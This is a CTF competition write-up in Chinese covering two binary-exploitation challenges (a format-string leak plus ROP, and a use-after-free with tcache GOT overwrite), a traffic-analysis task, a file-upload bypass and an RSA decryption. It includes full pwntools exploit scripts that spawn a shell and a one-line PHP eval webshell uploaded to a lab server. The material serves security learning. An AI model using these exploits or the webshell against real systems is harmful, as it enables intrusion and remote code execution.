cardstore

发现存在格式化字符串漏洞,可以泄露libc地址

image-20240330163846564

接着进入到3中,利用整形溢出,可以进行ROP,但是有canary,最开始想利用超长padding覆盖TLS,这样能绕过canary检测。但是尝试一段时间后,发现一直不行。

image-20240330164105778

就更换思路,需要泄露canary。发现程序开始的时候,会进行

image-20240330164342181

所以思路就是第一次泄露canary,然后利用栈溢出返回main函数,再次利用格式化字符串漏洞泄露libc基地址。然后再ROP即可getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
from pwn import *
from ctypes import *
from libcfind import *
from LibcSearcher import*
import base64
import sys
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ["tmux","splitw","-h"]
debug = 0
if debug:
p = process('./pwn')
elf = ELF('./pwn')
# p = process('', env={'LD_PRELOAD':'./libc.so'})
# gdb.attach(p)
else:
p = remote('192.168.18.22', 9999)
elf = ELF('./pwn')
# -----------------------------------------------------------------------
s = lambda data: p.send(data)
sa = lambda text, data: p.sendafter(text, data)
sl = lambda data: p.sendline(data)
sla = lambda text, data: p.sendlineafter(text, data)
r = lambda num=4096: p.recv(num)
rl = lambda text: p.recvuntil(text)
pr = lambda num=4096: sys.stdout.write(p.recv(num))
inter = lambda: p.interactive()
l32 = lambda: u32(p.recvuntil('\xf7')[-4:].ljust(4,'\x00'))
l64 = lambda: u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
uu32 = lambda: u32(p.recv(4).ljust(4, '\x00'))
uu64 = lambda: u64(p.recv(6).ljust(8, '\x00'))
int16 = lambda data: int(data, 16)
lg = lambda s, num: p.success('%s -> 0x%x' % (s, num))
# -----------------------------------------------------------------------
libc = ELF('./libc-2.23.so')
def add_storage(buf):
rl("your choice >>")
sl('1')
rl("Input storage name:")
sl(buf)
def add_card(num):
rl("your choice >>")
sl('2')
rl("How many cards do you want to add?")
sl(str(num))
def delete_card(num,buf):
rl("your choice >>")
sl('3')
rl("How many cards do you want to delete?")
sl(str(num))
rl("What do you think of the game?")
sl(buf)
# gdb.attach(p)

add_storage('%7$p')
rl("0x")
canary = int(p.recv(16),16)
lg("canary",canary)
# libc_leak = int(p.recv(12),16)
# lg("libc_leak",libc_leak)
# offset = 0xf0
# libc_base = libc_leak-libc.sym['__libc_start_main']-offset
# lg("libc_base",libc_base)
# onegadget = [0x45216,0x4526a,0xf02a4,0xf1147]
# system = libc_base+libc.sym['system']
# binsh = libc_base + next(libc.search('/bin/sh\x00'))
pop_rdi = 0x0000000000400b73
add_card(-1)
payload = 'a'*0x108 + p64(canary) + p64(0) + p64(0x400A47)
delete_card(-10000,payload)

add_storage('%16$p')
rl("0x")
libc_leak = int(p.recv(12),16)
lg("libc_leak",libc_leak)
offset = 0xf0
libc_base = libc_leak-libc.sym['__libc_start_main']-offset
lg("libc_base",libc_base)
onegadget = [0x45216,0x4526a,0xf02a4,0xf1147]
system = libc_base+libc.sym['system']
binsh = libc_base + next(libc.search('/bin/sh\x00'))

add_card(-1)
payload = 'a'*0x108 + p64(canary) + p64(0) + p64(pop_rdi) + p64(binsh) + p64(system)
delete_card(-10000,payload)

inter()

image-20240330154154179

New_Old_man

没给libc文件,但是给了后门函数,由于本地不清楚libc,所以直接进行远程盲打。通过UAF,释放后利用edit(),发现不存在heap_key,所以猜测其版本不高于libc-2.33,然后再利用double_free确定版本大于libc-2.23。因为存在UAF,所以如果是Libc-2.27或者libc-2.29,可以利用tcache的double_free。尝试直接修改Next指针为free_got,但是发现只要输出超过8字节,就会报错,所以修改为stack_chk_fail的got表指针减去0x10,这样申请的话,填充后门地址就是修改的puts函数的真实地址。即可getshell

image-20240330163402908

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
from pwn import *
from ctypes import *
from libcfind import *
from LibcSearcher import*
import base64
import sys
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ["tmux","splitw","-h"]
debug = 0
if debug:
p = process('./pwn')
elf = ELF('./pwn')
# p = process('', env={'LD_PRELOAD':'./libc.so'})
# gdb.attach(p)
else:
p = remote('192.168.18.22', 7777)
elf = ELF('./pwn')
# -----------------------------------------------------------------------
s = lambda data: p.send(data)
sa = lambda text, data: p.sendafter(text, data)
sl = lambda data: p.sendline(data)
sla = lambda text, data: p.sendlineafter(text, data)
r = lambda num=4096: p.recv(num)
rl = lambda text: p.recvuntil(text)
pr = lambda num=4096: sys.stdout.write(p.recv(num))
inter = lambda: p.interactive()
l32 = lambda: u32(p.recvuntil('\xf7')[-4:].ljust(4,'\x00'))
l64 = lambda: u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
uu32 = lambda: u32(p.recv(4).ljust(4, '\x00'))
uu64 = lambda: u64(p.recv(6).ljust(8, '\x00'))
int16 = lambda data: int(data, 16)
lg = lambda s, num: p.success('%s -> 0x%x' % (s, num))
# -----------------------------------------------------------------------
def add(index,num,content):
rl("4:This old man's case is no longer needed")
sl('1')
rl("Which elderly case do you need to add?")
sl(str(index))
rl("How much content does this elderly person's case need to include?:")
sl(str(num))
rl("So what are you going to write about:")
sl(content)
def show(index):
rl("4:This old man's case is no longer needed")
sl('2')
rl("Which elderly case do you want to show?")
sl(str(index))
def delete(index):
rl("4:This old man's case is no longer needed")
sl('4')
rl("Which elderly case do you want to delete?")
sl(str(index))
def edit(index,content):
rl("4:This old man's case is no longer needed")
sl('3')
rl("Which elderly case do you want to edit?")
sl(str(index))
rl("So what are you going to write about:")
sl(content)

# gdb.attach(p)
free_got = elf.got['free']
free_plt = elf.plt['free']
puts_got = elf.got['puts']
lg("free_plt",free_plt)
lg("free_got",free_got)
add(0,0x40,'aaa')
add(1,0x40,'bbb')
delete(0)
edit(0,p64(0x6014E0-0x10))
show(0)
add(2,0x40,'\x00')
add(3,0x40,p64(0x4007F7))

inter()

image-20240330162143723

流量分析flow

打开筛选HTTP流量包

翻到最下面

屏幕截图 2024-03-30 144631

屏幕截图 2024-03-30 144357

屏幕截图 2024-03-30 144411

得到flag

Black web

随便上传一个1.txt.jpg

返回:1711779682

url:http://192.168.18.22:8000/show.php?id=1711779682

发现上传路由为:http://192.168.18.22:8000/uploads/1711779682.jpg

1.php.jpg 1711780080

http://192.168.18.22:8000/uploads/1711780080.php

user.ini 图片ID:1711780832

http://192.168.18.22:8000/uploads/1711780832.user.ini

1.txt.jpg 图片ID:1711780596

http://192.168.18.22:8000/uploads/1711780698.txt

上述都不行

然后发现我上传的马子过滤了?和;

1
2
3
<script language="php">
@eval($_POST['1'])
</script>

1711781720

http://192.168.18.22:8000/uploads/1711781720.php

然后蚁剑连接

发现flag在html目录下

860db4e5d04cdabbb90ab36fbed3e34

babyrsa2

image-20240331150958275

给了两个文件,一个加密后的flag文件,一个modulus文件,打开查看有模数和e。

image-20240331151207256

直接脚本梭哈

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import libnum
import gmpy2
import binascii
with open('./flag.enc','rb') as f:
txt = f.read()
print(txt)
c = int(binascii.b2a_hex(txt).decode(),16)

print(c)

N = 0xC2636AE5C3D8E43FFB97AB09028F1AAC6C0BF6CD3D70EBCA281BFFE97FBE30DD
print(N)
p = 275127860351348928173285174381581152299
q = 319576316814478949870590164193048041239

phi = (p-1)*(q-1)
d = libnum.invmod(65537,phi)
print(d)

m = pow(c,d,N)

print(libnum.n2s(m))

image-20240331151335512